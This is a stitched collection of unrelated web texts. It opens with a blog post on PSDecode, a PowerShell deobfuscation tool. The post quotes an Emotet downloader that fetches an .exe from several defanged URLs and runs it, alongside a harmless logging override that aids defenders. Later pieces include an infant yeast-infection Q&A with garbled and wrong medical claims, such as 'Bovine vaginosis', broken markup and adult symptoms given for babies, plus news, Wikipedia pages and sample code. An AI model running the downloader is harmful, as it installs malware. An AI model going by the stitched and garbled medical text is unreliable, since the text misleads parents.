After I published the first iteration of PSDecode, my next goal with the tool was to figure out how to override methods within system classes typically used by malware authors, such as System.Net.WebClient.DownloadFile(). This proved to be a bit more difficult than anticipated (read: likely impossible), so I had to explore alternative approaches.
New-Object Primer
The approach I settled on was to override PowerShell’s New-Object cmdlet, which is used to create an instance of the requested .Net class. Methods within this instance are then typically executed later on in the malicious code. For instance, lets take a look at the cleaned up Emotet PowerShell that I used in my original post:
$franc = new-object System.Net.WebClient
$nsadasd = new-object random
$bcd = 'hxxp://smart-soft.pl/wef346645,hxxp://chimachinenow.com/wef346645,hxxp://truhlarstvi-bezdeka.cz/wef346645,hxxp://ericajoy.com/wef346645'.Split(',')
$karapas = $nsadasd.next(1, 343245)
$huas = $env:public + '\' + $karapas + '.exe'
foreach($abc in $bcd){
try{
$franc.DownloadFile($abc.ToString(), $huas)
Invoke-Item($huas)
break
}
catch{
write-host $_.Exception.Message
}
}
Line 1 shows the string “System.Net.WebClient” being passed to PowerShell’s New-Object cmdlet. This cmdlet, in its natural form, will attempt to create an instance of the specified .Net class and return the object into a variable, if specified. In this case, the WebClient object is placed into the variable $franc.
The DownloadFile method within the WebClient object ($franc) is then invoked on line 8. This will attempt to download a file from the URL specified as the first argument being passed to the method and save it to the location on disk specified within the second argument.
New-Object Override
But I don’t want the malware to actually download the file. I only want it to tell me when it attempted to download the file and what the decoded source and destination paths are. In order to redefine how certain system methods to act, I will need to intercept the object’s creation and replace it with my own customized object. First step is to override the New-Object cmdlet with my own:
function new-object {
param(
[Parameter( `
Mandatory=$True, `
Valuefrompipeline = $True)]
[String]$Obj
)
Now, whenever New-Object is called within the malicious PowerShell script, it will execute my version instead of the built-in version.
Next, we need to mimic how New-Object would normally act, by returning an object. But, instead of returning a WebClient object as originally requested, I am going to return a custom object that contains methods commonly invoked by malicious PowerShell scripts:
if($Obj -eq 'System.Net.WebClient'){
$webclient_obj = [PsCustomObject]
Add-Member -memberType ScriptMethod -InputObject $webclient_obj -Name "DownloadFile" -Value {
param([string]$url,[string]$destination)
Write-Host "%#[System.Net.WebClient.DownloadFile] Download from: $($url)"
Write-Host "%#[System.Net.WebClient.DownloadFile] Save downloaded file to: $($destination)"
}
Add-Member -memberType ScriptMethod -InputObject $webclient_obj -Name "DownloadString" -Value {
param([string]$url)
Write-Host "%#[System.Net.WebClient.DownloadString] Download from: $($url)"
}
return $webclient_obj
}
Line 1 checks to see if the malware is attempting to create an instance of the System.Net.WebClient class. If so, I create a generic custom object via PsCustomObject (Line 2). Since DownloadFile and DownloadString are two methods within the System.Net.WebClient that are commonly used by malware authors, I add methods of the same name to this generic custom object via PowerShell’s Add-Member cmdlet (Lines 3 & 8). Looking at the Value parameter, you can see that the only action these functions perform is to print out the argument(s) that was passed to it.
This custom object that I have created is then returned back to the malicious script (Line 12) with the malicious script being non-the-wiser that it did not receive an instance of the real System.Net.WebClient class.
Now, when the malicious script calls the DownloadFile function, it will execute my code instead of the actual download to file.
Updated Script Output
Overriding the New-Object cmdlet enables me to capture the actions that the script would have taken without actually allowing it to execute as it normally would. As the malicious script is run through PSDecode, these actions are stored and, when complete, the actions are printed to the screen in the order in which they occurred.
PSDecode_Action_Output
Figure 1: Updated PSDecode output w/ Actions
Figure 1 depicts this new output with the Actions highlighted at the bottom of the screen.
Issues
Because of the loose scope of this overriding (i.e. everything utilizing New-Object vs only specific .Net class functions) you will run into issues whenever a script attempts to create an object and/or function that PSDecode has not accounted for. As of this writing, this would be anything other than the following:
[CMDLETS]
• New-Object
• Invoke-Expression
• Invoke-Item
• Invoke-Command
[.NET Class Functions]
• System.Net.WebClient.DownloadFile()
• System.Net.WebClient.DownloadString()
• System.Random.Next()
Even the functions I have accounted for are not perfect. For instance, my implementation of New-Object expects a single argument of type String but, if you look at the New-Object documentation, you can see that it actually accepts multiple arguments:
New-Object
[-TypeName] <String>
[[-ArgumentList] <Object[]>]
[-Property <IDictionary>]
[<CommonParameters>]
This discrepancy could cause issues with PSDecode depending on how the malware author has chosen to implement calls to certain cmdlets/functions.
My immediate focus is on building out controls that cover the most common use-cases. Thus far, my focus has been on Emotet’s PowerShell but i’d like to start branching out. If you have an encoded PowerShell script that PSDecode chokes on, let me know so I can improve the script!
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Wikipedia:WikiProject Alternative medicine/To Do List
Alternative medicine covers a big topic area. There are still a lot of topics in complementary and alternative medicine that currently are not covered in Wikipedia.
Introduction
If the links below are still red in color then these topics could be missing from Wikipedia. Wont you write them?
However, these topics should be first researched in order to verify that the topic has not already been written under a different spelling or name variation. The importance of searching first for an existing article on these topics cannot be stressed enough. There is no point writing a competing article that will only end up being deleted or merged.
In addition, newly created articles should not be left as a stub. Articles should always be developed in a private sandbox before being released to the public for reading. Do sufficient research on your topic sufficient to write a full blown article.
Here is how you can avoid writing stub articles
The Glossary of alternative medicine is ideal for avoiding stub articles. All new articles about terms and concepts used in alternative medicine should always start out as a write up in our glossary. Biographies should always start out in the list of people in alternative medicine. Likewise, history articles should always start out in the history of alternative medicine aricle.
Topics that will only be one or two paragraphs in size can be easily added to this glossary. In addition, the content of the glossary of alternative medicine can, also, be easily referenced in articles (for example, Doctrine of Signatures).
Remember that a one or two paragraph write up is what our glossary of alternative medicine and our other annotated lists are for. So, please do not write stub articles.
* Charlie Goldsmith (1, 2, 3, 4)
* Fitness Walking
* Functional medicine
* John Upledger - principal proponent of Craniosacral therapy.
* Mind-body connection
* Mind-body effect
* Mind-body exercise
* Tong Ren Therapy
* the American Popular Health Movement of the 1830's and '40s.
* Stress (Psychological)
See also: Help:Starting a new page | WIKI |
User:Recontextual
Like most people, I am involved with understanding phenomena in new contexts - the recontextualization of things, knowledge and social relationships in various ways. As Wikipedia is one of the major players in the spread and recontextualization of information today, I am happy to join in to help develop it further as a resource. | WIKI |
Jason Kubel
Jason James Kubel (born May 25, 1982) is an American former professional baseball player. He played in Major League Baseball (MLB) for the Minnesota Twins, Arizona Diamondbacks, and Cleveland Indians.
Early life
Kubel was born May 25, 1982, in Belle Fourche, South Dakota, to Myron and Debbie Kubel. His family moved to Palmdale, California, where he played baseball at Highland High School in Palmdale, California. Kubel had a .491 batting average during his sophomore and junior years at Highland. He was ranked the number 50 high school prospect by Baseball America. Kubel signed a letter of intent to play college baseball for the Long Beach State Dirtbags.
Minor leagues
The Minnesota Twins drafted Kubel in the 12th round (342nd overall) of the 2000 Major League Baseball draft. In, Kubel played outfield in the Twins' minor league system, starting out with the Double-A New Britain Rock Cats, where Kubel batted .377 with six home runs and 29 RBI in 37 games before being promoted to the Twins' Triple-A affiliate, the Rochester Red Wings. He continued to excel with the Red Wings, posting a .343 average, 16 home runs and 71 RBI in 90 games. His impressive play landed him a place in the 2004 All-Star Futures Game. Kubel's play impressed manager Ron Gardenhire enough to warrant a call-up to the majors for the Twins' American League Central Division championship run in September. Kubel played well over the course of 23 games, batting .300 with two home runs and 7 RBI in 67 plate appearances.
Kubel suffered a serious knee injury in the Arizona Fall League later that year, which caused him to miss the entire season.
Minnesota Twins
Kubel returned to action in spring training, made the Twins' Opening Day roster, and started in right field on Opening Day. However, he got off to a slow start at the plate, batting just .188 in his first seven games. On April 16, 2006, Kubel was optioned to Triple-A Rochester, and was replaced on the active roster by Rubén Sierra. Kubel returned to the Twins lineup on May 23, 2006, as a replacement for the injured Shannon Stewart. He hit well in his return, including a walk-off grand slam against the Boston Red Sox in the 12th inning at the Hubert H. Humphrey Metrodome on June 13, 2006. After that, continued soreness in his knees limited his playing time and success for the rest of the 2006 season. Kubel finished the season batting .241 with eight home runs and 26 RBI in 73 games.
Kubel's statistics showed improvement, as he finished the season with a .273 average, 13 home runs and 65 RBI in 128 games with 418 at-bats. On July 6, 2007, Kubel drove in a career high seven runs in a 20–14 victory over the Chicago White Sox.
During the season, Kubel primarily served as the designated hitter slot due to the acquisition of left fielder Delmon Young from the Tampa Bay Rays. Kubel hit well in the clutch and provided much needed power in the middle of the Twins' lineup. In 141 games, he batted .272 with 20 home runs and 78 RBI.
The 2009 season proved to be Kubel's most productive. On April 17, Kubel hit for the cycle against the Los Angeles Angels in the Metrodome. After a double in the first inning, single in the third, triple in the sixth, and strikeout in the seventh, Kubel capped the Twins' seven-run eighth inning with an upper deck grand slam to right-center field, which would prove decisive in the Twins' 11–9 victory. Kubel finished the game 4-for-5 with two runs scored and 5 RBI. On June 4, Kubel hit two three-run home runs in an 11–3 win over the Cleveland Indians, and hit another pair of three-run home runs to help defeat the Kansas City Royals on October 4. Kubel finished the season with career highs in batting average (.300), doubles (35), RBI (103), total bases (277), and OPS (.907), and games played (146). He also hit a then-career high 28 home runs in 514 at-bats. For his efforts, Kubel would be honored with a 24th-place finish in AL MVP voting that year.
Kubel played more often in the field for the Twins in 2010 due to a number of roster changes and injuries. Following the trade that sent center fielder Carlos Gómez to the Brewers for all-star shortstop J. J. Hardy, and the off-season acquisition of veteran slugger Jim Thome to fill the designated hitter position, Kubel found himself being used as a utility player and pinch hitter. However, due to the defensive shifting resulting from Justin Morneau's ongoing health issues, Kubel settled in as the Twins' right fielder, platooning with Michael Cuddyer. On April 12, Kubel hit the first home run in a regular-season game at Target Field, helping the Twins christen their new stadium in a 5–2 victory over the Boston Red Sox. On May 16, Kubel hit a grand slam off legendary closer Mariano Rivera to help the Twins beat the Yankees. It was only the fourth grand slam that Rivera had surrendered in his career.
Kubel started out the 2011 season hitting extremely well by peaking his batting average at .354 in May. This brought on speculation the Twins may try to trade Kubel to make room in an otherwise crowded team outfield. Due to injuries by fellow outfielders Delmon Young, Denard Span, and call-up Jason Repko, Kubel's position was critical to the Twins before finally getting hurt himself and missing all of the month of June. Kubel was limited to 99 games in 2011, batting .273 with 12 home runs and 58 RBI.
Arizona Diamondbacks
On December 19, 2011, Kubel signed a two-year, $15 million deal with an option for a third year with the Arizona Diamondbacks. For the 2012 season, Kubel served as the designated hitter during interleague play at American League ballparks. He played in 141 games with Arizona in 2012, batting .253 with a career-high 30 home runs and 90 RBI.
Kubel struggled to begin the 2013 season, batting just .220 with five home runs and 32 RBI in 89 games. The Diamondbacks designated him for assignment on August 27, 2013.
Cleveland Indians
The Diamondbacks traded Kubel to the Cleveland Indians for a player to be named later on August 30, 2013. He appeared in eight games with Cleveland, batting .167 (3-for-18).
The Indians declined their club option on Kubel's contract for the 2014 season on November 1, 2013, making Kubel a free agent.
Second stint with Twins
Kubel signed a minor league deal to return to the Twins on December 13, 2013. Kubel was designated for assignment on June 8, 2014, and released on June 16. Kubel ended his 2014 season with a .224 batting average, one home run, 13 RBI, and 59 strikeouts in 176 plate appearances.
Personal life
Kubel is the brother-in-law of Michael Tonkin. They briefly played together for the Twins in 2014.
At the conclusion of his career as a professional baseball player, Kubel became a Little League coach. | WIKI |
Citations:buck rabbit
food
* 1924, Isabel Ely Lord, Everybody's Cook Book: A Comprehensive Manual of Home Cookery, page 209:
* WELSH RABBIT (Rarebit)
* 12 lb. cheese, grated
* 1/4 teaspoon salt
* 18 to 12 cup liquid
* Dash of cayenne
* The cheese should be a rich and yet a dry one.
* BUCK RABBIT (Golden Buck)
* Add to Welsh Rabbit 1 egg yolk. This is ...
* 2002, New Statesman:
* Welsh rabbit with an egg on top becomes a masculine " buck rabbit ", which is an interesting inversion of croque-madame, where the egg makes the cheese womanly . There can be few dishes which have straddled the spectrum of classes ...
* 2000, Harlan Walker, Milk-- Beyond the Dairy: Proceedings of the Oxford Symposium on Food and Cookery 1999, Oxford Symposium (ISBN<PHONE_NUMBER>064), page 80:
* on it becomes feminine as a croque madame while a Welsh rabbit with an egg on top is made masculine as a buck rabbit or a golden buck.
* 2014, Constance Spry, Rosemary Hume, The Constance Spry Cookery Book, Grub Street Publishers (ISBN<PHONE_NUMBER>103)
* Buck rabbit is a Welsh rabbit with a poached egg on the top.
* 2018, Helen Saberi, Teatimes: A World Tour, Reaktion Books (ISBN<PHONE_NUMBER>682)
* The cheese mixture may be served with toast on the side or poured on top of toast and grilled until golden brown and bubbling. Other variations include Buck rabbit, a Welsh rabbit with a poached egg on top, and Yorkshire rabbit with bacon ... | WIKI |
Erste Group posts Q3 profit beat on solid demand in eastern Europe
VIENNA, Oct 30 (Reuters) - Austrian lender Erste Group on Wednesday reported a 8% rise in its third-quarter net profit, beating expectations, thanks to growing income in its eastern European core markets. Net profit reached 491.1 million euros ($545.8 million) in the three months through September, the bank said. Analysts had expected net profit of 480 million euros, according to a poll of 15 analysts by Erste Group, which was published on its website. Erste confirmed its full-year target of a return on tangible equity (ROTE) of more than 11%. ($1 = 0.8998 euros) (Reporting by Kirsti Knolle, editing by Riham Alkousaa) | NEWS-MULTISOURCE |
Kushner: White House has shifted from Khashoggi killing to Israeli-Palestinian peace
Jared Kushner, a senior adviser to President Donald Trump, his father-in-law, said on Monday that the American intelligence community was still “making their assessments” regarding the murder of Saudi journalist Jamal Khashoggi, but that the administration was “focused now on the broader region” in the Middle East. “I think our intelligence agencies are making their assessments, and we’re hoping to make sure that there’s justice brought where that should be,” Kushner said during an interview with Sean Hannity on Fox News. “We’re focused now on the broader region, which is hopefully figuring out how to bring a deal together between the Israelis and the Palestinians.” Following the October killing of Khashoggi, a Washington Post columnist, at the Saudi Arabian Consulate in Istanbul, by a team of Saudi operatives, Kushner has come under increased scrutiny for his close relationship with Crown Prince Mohammed bin Salman, who is widely believed to have directed the assassination. Kushner’s comments on Monday followed a report by The New York Times over the weekend that he has “continued to chat informally” with the crown prince since Khashoggi’s death, and has even advised the young royal on how best to “weather the storm” of international condemnation bearing down on Riyadh. Kushner also told Hannity that the administration was hopeful that its Israeli-Palestinian peace plan would be released “in the next couple of months,” but cautioned that “not every side is going to love” the proposed agreement. “There’s enough in it and enough reasons why people should take it and move forward,” Kushner said. “And this plan will keep the Israeli people safe and give them a good future, but also give a real opportunity and hope for the Palestinian people so that they can live much better lives.” | NEWS-MULTISOURCE |
Ochlockonee moccasinshell
The Ochlockonee moccasinshell (Medionidus simpsonianus) is a species of freshwater mussel, an aquatic bivalve mollusk in the family Unionidae, the river mussels.
This species is endemic to the United States. Its natural habitat is rivers.
Original description
Medionidus simpsonianus was described as a species by Bryant Walker in 1905 in The Nautilus journal:
Medionidus simpsonianus n. sp. PI. ix. figs. 4 and 5.
Shell small, rather thin, somewhat inflated, elliptical, inequilateral, strongly plicate on the posterior slope. Epidermis dark yellow, smooth, polished, covered with dark green pencilled rays which tend to break into a net-work of angular lines covering the entire surface. Anterior end compressed, rounded, and slightly elevated above the line of the hinge superiorly; posterior extremity obtusely rounded, the tip being nearly on the median line of the shell; posterior ridge somewhat angled; dorsal slope covered with strong sub-concentric, somewhat irregular ridges extending from the posterior ridge to the margin; basal margin regularly curved; hinge margin nearly straight, slightly angled between the cardinal and lateral teeth. Cardinal teeth crenulate, erect, rather compressed, those in left valve nearly on the same line ; lateral teeth slender, straight and nearly smooth. Anterior cicatrices well impressed, posterior cicatrices distinct, dorsal cicatrices under the plate behind the cardinal teeth. Beak cavity rather shallow, cavity of the shell deep and uniform. Nacre bluish-white, rather thicker anteriorly.
Length 36; height 19, width 13 mm.
Habitat, Calvary, Ga.
Only three specimens of this little species were received, and these, unfortunately, without any information as to the stream where they were found.
This species belongs to the "conradicus" group of Medionidus as defined by Simpson, and is most nearly related to M. penicillatus. But it differs decidedly from all the described species in the compression of the anterior end, the elevation of the superior-anterior margin and the regularly rounded posterior margin, which is equally curved above and below, the tip being nearly on the median line and not depressed toward the basal margin as in all the allied species. The ridges on the posterior slope are quite as strong, but not so numerous as in M. kinyii.
It is named in honor of Mr. Charles Torrey Simpson.... | WIKI |
How does an infant have a yeast infection?
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The signs of a yeast infection in a baby might include a rash that is bright red and dotted with bumps resembling pimples, or a thick coating of white that cannot be scraped off the tongue. Applying an antifungal ointment to the affected region and ensuring that it remains dry are both necessary steps in the treatment of a yeast infection in a newborn.
What does a baby’s yeast rash look like?
The diaper area and the creases of your baby’s skin, which include the groin, genitals, buttocks, and upper thigh, are where the symptoms of a yeast diaper rash will first show. The following are some of the symptoms of a yeast diaper rash: Deep red or purple elevated patch of skin. Bumps or very little pimples packed with fluid.
How can you distinguish between a yeast infection and a diaper rash?
A yeast infection can be mistaken for a diaper rash, but they’re not the same. A diaper rash is normally a patchwork of inflamed and chapped skin. Signs that point to a yeast infection include: Deep red inflamed patches with bumps around the edges.
If you suspect a yeast infection, check your child’s:
• Armpit.
• Mouth.
• Neck.
How can I treat the yeast infection in my infant?
How to treat a yeast diaper rash at home
1. Keep the space tidy. Every time you change the diaper, gently and thoroughly clean the entire diaper area.
2. Dry off the area. Give your infant more changes.
3. Enjoy a diaper-free period.
4. Prevent irritants.
5. Apply antifungal creams.
6. Are using natural remedies safe?
7. Can baby powder be helpful?
What can I apply to the yeast rash on my baby?
What kind of therapy is there for yeast rashes caused by diapers? Regular diaper barrier creams or ointments won’t help, so your baby’s doctor may consider using a topical antifungal cream (such as nystatin, clotrimazole, or miconazole), potentially with a moderate corticosteroid cream as well.
Are yeast infections treated by Desitin?
Diaper rash caused by yeast infections can be treated successfully in children with the use of this product, in conjunction with thorough cleansing of the diaper region and regular diaper changes.
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Which antifungal cream is best for treating a yeast infection in a baby?
According to Posner, if the pediatrician determines that the infant has yeast diaper rash, they would most likely suggest an antifungal cream such as nystatin or clotrimazole to treat the condition. Clotrimazole can be purchased over-the-counter or with a doctor’s prescription, however nystatin can only be obtained via the use of a prescription.
What caused the yeast diaper rash on my baby?
Rashes in children that are brought on by candida infections, which are yeast infections, are fairly prevalent. Candida thrives in warm, damp environments like those found under a diaper, for example. Babies who are not properly cleaned and dried have an increased risk of developing candida diaper rash.
How does a yeast rash appear?
A red, flat rash with jagged, scalloped edges characterizes the appearance of a superficial candidal skin infection. Smaller areas of similar-appearing rash, termed as “satellite lesions” or “satellite pustules,” are commonly adjacent. These rashes may cause discomfort in the form of heat, itchiness, or both. The skin in folds of the body will seem red and scaly when intertrigo is present.
How itchy are yeast diaper rashes?
A yeast diaper rash is often not painful, but it can be extremely itchy and unpleasant to the baby. a rash that appears in the region where a particular substance has been administered or used (wipes, soaps, etc.)
Can a yeast infection be treated with A&D ointment?
Over-the-counter home treatments are available, to treat yeast infections, for example, Desitin, A+D ointment, Triple Paste, and Vaseline for both prevention and therapy.
How do you spot a yeast infection in your child?
What Are the Signs & Symptoms of Vaginal Yeast Infections?
1. vulval redness, swelling, or itching (the folds of skin outside the vagina)
2. a cottage cheese-like discharge that is thick and white.
3. discomfort or burning while urinating (peeing)
Can a baby take Monistat?
Descriptions. A mixture of miconazole, zinc oxide, and white petrolatum is prescribed for the treatment of diaper rash (dermatitis) in babies aged 4 weeks and older with a normally functioning immune system who also have a yeast infection (candidiasis).
What about a yeast infection and aquaphor?
DO nurture your skin. Applying thick ointments such as Vaseline® and Aquaphor® can offer a barrier against yeast and alleviate itching if you have external irritation on the vulva.
Does a yeast infection in a baby hurt?
Yeast infections are quite prevalent and can cause severe discomfort and itching. Yeast infections can occur in both adults and children, although infants and toddlers are more likely to be affected than older children. As medical researchers develop a deeper knowledge of the ecosystem that exists within the human body, they also improve their ability to diagnose and treat a variety of infectious diseases.
What does a diaper rash caused by bacteria look like?
Bacterial dermatitis
Strep throat can cause a rash that is bright red and seems to be centered around the anus, however it can extend to the vaginal areas. There is a possibility that you will find blood in the stool of your kid. When staph infection is present, you may see pus-filled pimples that have a red base. These blisters may rupture with a yellow-brown fluid and leave behind scales.
What does a diaper rash that is infected resemble?
It manifests itself most frequently as a rash that is red and puffy, with scales and lesions that are white. It is also possible for them to manifest as pus-filled white bumps that are surrounded by redness. In addition to the skin folds, lesions may be observed on neighboring skin outside the diaper region, such as the thighs or abdomen.
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What topical antifungal is suitable for infants?
Mycostatin (nystatin), Lotrimin (clotrimazole), and Monistat-Derm are three anti-fungal creams that are not difficult to locate (miconazole micatin). 2 If you are unsure which one to use, you should inquire about a recommendation from your child’s physician.
Do yeast infections naturally disappear?
A vaginal yeast infection that is minor may clear up on its own without therapy. If you just experience moderate symptoms, it is possible that you should wait to see what the outcome is. If you are not pregnant and are certain that your symptoms are the result of a yeast infection, you can treat the condition yourself using an antifungal medication that is available without a prescription.
Is bathing beneficial for yeast diaper rash?
Baking soda baths are another effective method for treating a diaper rash that is resistant to other treatments. Two tablespoons of baking soda should be added to the water of a warm bath for infants who are still bathed in baby tubs. Soak the infant’s bottom in warm water for five to ten minutes once or twice a day.
I have a yeast diaper rash. Will breast milk help?
According to the findings of one study, treating diaper rash with breast milk is a beneficial and risk-free therapeutic option. Breast milk or an ointment containing 1 percent hydrocortisone were used to treat infants diagnosed with diaper rash. 141 newborns were involved in the research. It was shown that treatment with breast milk was equally as effective as treatment with the ointment alone.
Can Aquaphor be applied to a baby with a yeast infection?
The Aquaphor Healing Ointment can be used on a baby without any concerns. Diaper rash is one of the many forms of skin irritation that may be helped by this product, including eczema and drool rash, as well as treating and preventing diaper rash.
How do yeast infections appear?
Yeast infections frequently result in a thick, white, clumpy discharge from the vagina that in most cases is odorless (or only smells slightly different than normal). In addition to this, you could notice a milky or yellowish covering within and around your vagina. The majority of yeast infections cause itching, burning, and/or redness in or around the vagina. Yeast infections can also cause vaginal discharge.
What cure for a yeast infection works the quickest?
If you think you might have a yeast infection, being checked out by a medical professional is both the quickest and most effective approach to treat the condition. Fluconazole, which is taken orally and will clear up the infection in about a week’s time, is the medication that they will most likely give.
When should I visit a doctor with my baby’s diaper rash?
If the rash does not appear to be improving or if it worsens two to three days after therapy has begun, you should make an appointment with your baby’s primary care physician. The rash may present with blisters or ulcers filled with pus. Your infant is receiving antibiotic treatment and has a rash that is bright red in the center and has red patches on the perimeter.
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After peeing, do you need to wipe the baby girl?
Is it necessary to clean a newborn girl’s bottom after she has urinated? No. Even if the child is a female, there is no need to worry about cleaning their bottom after they urinate. This is due to the fact that pee does not generally cause irritation to the skin, and the fact that most diapers are able to absorb it without difficulty.
What natural cure is there for a yeast diaper rash?
Apple cider vinegar is a natural remedy that may be used to treat diaper rash that is brought on by a yeast or fungal infection. The fermented liquid eliminates bacteria that agitates the rash, and stops the formation of yeast.
Does taking a bath aggravate diaper rash?
When a baby’s skin is already severely sensitive or broken down, merely being in the bath water might cause some infants to experience discomfort. Adding a powdered form of oatmeal, such as that which is sold for the treatment of diaper rashes or other forms of skin irritation, to the water in the bathtub can help relieve the discomfort and make bath time more joyful.
What might be misdiagnosed as a yeast infection?
8 Common Conditions Often Mistaken for a Yeast Infection
• Bovine vaginosis (BV)
• Cytolytic Virus Infection (CV)
• An allergic response (contact dermatitis)
• Herpes genitalis.
• genital warts
• Trichomoniasis (“trich”) (“trich”)
• Gonorrhea
• Hemorrhoids.
What results from not treating a yeast infection?
The risks associated with leaving yeast infections untreated
If you do nothing to treat your vaginal candidiasis, the condition will almost certainly worsen, and you will have increased itching, redness, and inflammation in the region that surrounds your vagina. If the inflamed region gets broken or if persistent scratching develops open or raw areas, this may result in a skin infection. This can also happen if the area becomes irritated.
How long does baby thrush last before it disappears?
Antifungal medication, such as nystatin (Mycostatinsup>®/sup>), fluconazole (Diflucansup>®/sup>), or itraconazole (Sporanoxsup>®/sup>), is an effective way to treat thrush. These medications can be given to your kid in the form of a liquid or a pill. In most cases, thrush may be cured in four to five days.
Yeast diaper rash: what foods are to blame?
Acidic foods to avoid
• citrus juices and fruit.
• Tomatoes and products made with tomatoes (this includes foods like spaghetti sauce)
• Strawberries.
• Pineapple.
• Grapes.
• Raisins.
How do I let my baby’s bottom air dry?
Give Him Some Room to Breathe
After changing your child’s diaper and making sure he is clean, give him an air bath for ten to fifteen minutes, making sure the region that was covered by the diaper is left open to the air. As long as he is content, he can continue to lie on his back on a towel that has been placed on top of a waterproof sheet. The longer he goes without using diapers, the better it will be for him.
Coconut oil: Does it treat yeast diaper rash?
How to Treat Rash Caused by Diapers
It’s possible that yeast is the cause of their rash if it doesn’t clear up. Try to get your hands on an antifungal cream so you can put an end to the candida overgrowth. After you have gotten rid of the rash, you may use coconut oil to assist your baby’s skin recover from the harm it has sustained and to condition it. | ESSENTIALAI-STEM |
Nearly 69% of all Bitcoin Supply did not move in over one year. Meaning that the majority of holders had enough conviction to hold through one of the most brutal bear markets ever for Crypto.
We always tend to talk about how destructive bear markets are and how every investor just fears them and usually even paper-hands before the real bear market even started. The situation was not much different exactly one year ago from today, back then we all probably were full of fear as BTC had plummeted from a high of $48k to under $20k in just weeks thanks to the LUNA scam.
Many also paper-handed back then which caused this crash in the first place and many more thought, just as in the prior bear markets people did, that Crypto is officially dead.
Well, thankfully not everyone did that, in fact the people with commitment, dedication and sheer fucking will, like us, did not do that at all. They instead held onto their coins until now.
​
[Bitcoin Supply Last Active over 1 year chart](https://preview.redd.it/jvwdw899188b1.jpg?width=1199&format=pjpg&auto=webp&s=6247124408c74fa6dfbb3b7b12f293426563f26c)
Those heros, made up for nearly 69% of the whole supply. That's 13.3M BTC out of the current 19.6M BTC circulating supply. That way we see that by far the majority of holders actually have the conviction to just hold through all of the pain because they know what is awaiting them on the other side of it. Just the smaller portion that sells is way more vocal.
And of course we are all a part of that 69% number, so we must finally step back a bit and look at all the pain we endured, but still prevailed. We truly deserve it to be celebrated by ourselves. | NEWS-MULTISOURCE |
User-defined model
User-defined models can be anything derived from torch.nn.Module. For example, we can define a convolutional neural network model as follows:
User-defined convolutionsl neural network model: examples/models/cnn.py
import torch
import torch.nn as nn
import math
class CNN(nn.Module):
def __init__(self, num_channel, num_classes, num_pixel):
super().__init__()
self.conv1 = nn.Conv2d(
num_channel, 32, kernel_size=5, padding=0, stride=1, bias=True
)
self.conv2 = nn.Conv2d(32, 64, kernel_size=5, padding=0, stride=1, bias=True)
self.maxpool = nn.MaxPool2d(kernel_size=(2, 2))
self.act = nn.ReLU(inplace=True)
###
### X_out = floor{ 1 + (X_in + 2*padding - dilation*(kernel_size-1) - 1)/stride }
###
X = num_pixel
X = math.floor(1 + (X + 2 * 0 - 1 * (5 - 1) - 1) / 1)
X = X / 2
X = math.floor(1 + (X + 2 * 0 - 1 * (5 - 1) - 1) / 1)
X = X / 2
X = int(X)
self.fc1 = nn.Linear(64 * X * X, 512)
self.fc2 = nn.Linear(512, num_classes)
def forward(self, x):
x = self.act(self.conv1(x))
x = self.maxpool(x)
x = self.act(self.conv2(x))
x = self.maxpool(x)
x = torch.flatten(x, 1)
x = self.act(self.fc1(x))
x = self.fc2(x)
return x
In the code, one can add the CNN model and the loss function as follows:
model = CNN()
loss_fn = torch.nn.CrossEntropyLoss()
Note that the loss_fn can be anything derived from torch.nn.Module. | ESSENTIALAI-STEM |
Wikipedia:Articles for deletion/Yung Q
The result was delete. NorthAmerica1000 10:11, 2 January 2015 (UTC)
Yung Q
* – ( View AfD View log Stats )
BLP about an artist with no claim of notability. The only references are a link to a YouTube video, and a writeup by Atlantic Records about an unrelated artist named "Twista", who had an LP released in 1991, when this artist was 3 years old. A quick web search turned up no coverage, only artist pages, albums for sale, and lyrics. This may actually qualify as a Candidate for Speedy Deletion under A7, but I am listing it here so at least some other editor (besides myself) can have input, with the understanding that the outcome could possibly still be speedy deletion. —Josh3580talk/hist 18:27, 21 December 2014 (UTC)
* Just a note, at this point in time, the page author has removed the AFD template from the article multiple times. —Josh3580talk/hist 20:14, 21 December 2014 (UTC)
* Delete A7 seems fitting as well to me. I don't see much of anything, just a self-made biography on a MTV platform. The only news hits for "Yung Q" are about someone named Quentin, and Twista is another musician entirely. There is also some really bizarre info on the page, like him being up for a apparently major film role and the entire personal life section. From a look at the linked twitter account, the handle "legitballin41" is used by Quesada, and this is also the account here on Wikipedia that created this article. At best this seems WP:TOOSOON. Cannolis (talk) 18:48, 21 December 2014 (UTC)
* Note: This debate has been included in the list of Connecticut-related deletion discussions. • Gene93k (talk) 18:40, 21 December 2014 (UTC)
* Note: This debate has been included in the list of New York-related deletion discussions. • Gene93k (talk) 18:40, 21 December 2014 (UTC)
* Note: This debate has been included in the list of Bands and musicians-related deletion discussions. • Gene93k (talk) 18:40, 21 December 2014 (UTC)
Relisted to generate a more thorough discussion so a clearer consensus may be reached.
Please add new comments below this notice. Thanks, j⚛e deckertalk 00:19, 29 December 2014 (UTC)
* Delete: A WP:SPA article about a subject on whom there appears to be no evidence of meeting any WP:MUSICBIO criteria. AllyD (talk) 08:45, 29 December 2014 (UTC)
* Delete -Fails WP:MUSICBIO and WP:GNG. Anupmehra - Let's talk! 11:26, 29 December 2014 (UTC)
* Delete as non notable muscician -Fails MUSICBIO & GNG. – Davey 2010 Merry Xmas / Happy New Year 16:48, 29 December 2014 (UTC)
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Easter is the most important holiday of the Christian calendar. It is our celebration of Christ’s victory over death, hell and the grave. It is our assurance of pardon and the reason we can talk directly to God. Before Easter, we celebrate Palm Sunday. This is the beginning of events during Jesus’ ministry that lead up to Easter. However, sometimes the importance of this day is sometimes lost. Palm Sunday is important.
The Triumphal Entry: Zachariah gave a prophecy about this event. In the ninth chapter and the ninth verse, the prophet mentions the King, the Messiah riding into Jerusalem with two donkeys, riding one of them.
As He entered the city, people laid down their outer garments and cut palm branches to cover the road before Him. As He came into the city, they shouted, “Hosanna, glory to God in the Highest! Blessed is He who comes in the name of the Lord!” They called Him the Son of David, and shouted for Him to save them.
What does Hosanna mean? The dictionary meaning of hosanna is an expression of joy, praise and adoration. At the time, however, it meant “save us.” As Christians, we shout it for joy, and are glad of the salvation already granted.
What did the palm leaves and clothing represent? There is another incident in the Bible where people laid down their outer clothing and palm branches before a king. After Jehu was anointed, the people did the same thing, shouting, “Jehu is king!” This is what they were proclaiming when He came into Jerusalem.
How did the Pharisees react? They did not like it at all. They told Jesus to make His disciples stop, and He replied that, “If the people were to stop, the very rocks would cry out.” As they were surrounded by the people they couldn’t touch Him, but this incident set what they considered the seal on Jesus’ fate. They planned to kill Him.
